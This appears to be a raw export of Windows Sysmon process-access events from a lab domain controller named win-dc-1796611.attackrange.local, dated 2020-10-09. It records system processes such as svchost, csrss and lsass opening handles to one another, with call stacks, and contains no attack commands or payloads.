09:09:19.809{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000959Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.809{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000958Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.700{A5F018FF-28BF-5F80-1100-000000007F01}12001040C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6a54|c:\windows\system32\fntcache.dll+17aaf|c:\windows\system32\fntcache.dll+1a677|c:\windows\system32\fntcache.dll+1aaac|c:\windows\system32\fntcache.dll+502ee|c:\windows\system32\fntcache.dll+4fff2|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000957Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.700{A5F018FF-28BF-5F80-1100-000000007F01}12001040C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6a54|c:\windows\system32\fntcache.dll+17aaf|c:\windows\system32\fntcache.dll+1a677|c:\windows\system32\fntcache.dll+1aaac|c:\windows\system32\fntcache.dll+502ee|c:\windows\system32\fntcache.dll+4fff2|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000956Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.684{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1F00-000000007F01}2244C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000955Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.684{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|c:\windows\system32\SYSNTFY.dll+1ad9|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000954Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.684{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1E00-000000007F01}2232C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000953Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.684{A5F018FF-28BF-5F80-0F00-000000007F01}11282228C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1E00-000000007F01}2232C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e12a|c:\windows\system32\UBPM.dll+dd82|c:\windows\system32\EventAggregation.dll+3e22|c:\windows\system32\EventAggregation.dll+389a|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bdd|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000952Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.669{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000951Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.669{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000950Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.669{A5F018FF-28BF-5F80-1100-000000007F01}12001040C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6a54|c:\windows\system32\fntcache.dll+17aaf|c:\windows\system32\fntcache.dll+1a677|c:\windows\system32\fntcache.dll+1aaac|c:\windows\system32\fntcache.dll+502ee|c:\windows\system32\fntcache.dll+4fff2|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000949Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.669{A5F018FF-28BF-5F80-1100-000000007F01}12001040C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6a54|c:\windows\system32\fntcache.dll+17aaf|c:\windows\system32\fntcache.dll+1a677|c:\windows\system32\fntcache.dll+1aaac|c:\windows\system32\fntcache.dll+502ee|c:\windows\system32\fntcache.dll+4fff2|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000948Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.669{A5F018FF-28BF-5F80-1100-000000007F01}12001040C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6a54|c:\windows\system32\fntcache.dll+17aaf|c:\windows\system32\fntcache.dll+1a677|c:\windows\system32\fntcache.dll+1aaac|c:\windows\system32\fntcache.dll+502ee|c:\windows\system32\fntcache.dll+4fff2|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000947Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.606{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000946Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.606{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000945Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.606{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exeC:\Windows\System32\wbem\Repository\WRITABLE.TST2020-10-09 09:09:19.606 10341000x8000000000000000944Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.559{A5F018FF-28BF-5F80-1100-000000007F01}12001952C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|c:\windows\system32\es.dll+118e5|c:\windows\system32\es.dll+13b72|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x8000000000000000943Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000942Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{00000000-0000-0000-0000-000000000000}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e12a|c:\windows\system32\UBPM.dll+dd82|c:\windows\system32\EventAggregation.dll+3e22|c:\windows\system32\EventAggregation.dll+389a|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bdd|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000941Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2164C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000940Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2152C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000939Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000938Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000937Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000936Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{00000000-0000-0000-0000-000000000000}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e12a|c:\windows\system32\UBPM.dll+dd82|c:\windows\system32\EventAggregation.dll+3e22|c:\windows\system32\EventAggregation.dll+389a|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bdd|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000935Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000934Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000933Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000932Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000931Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000930Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 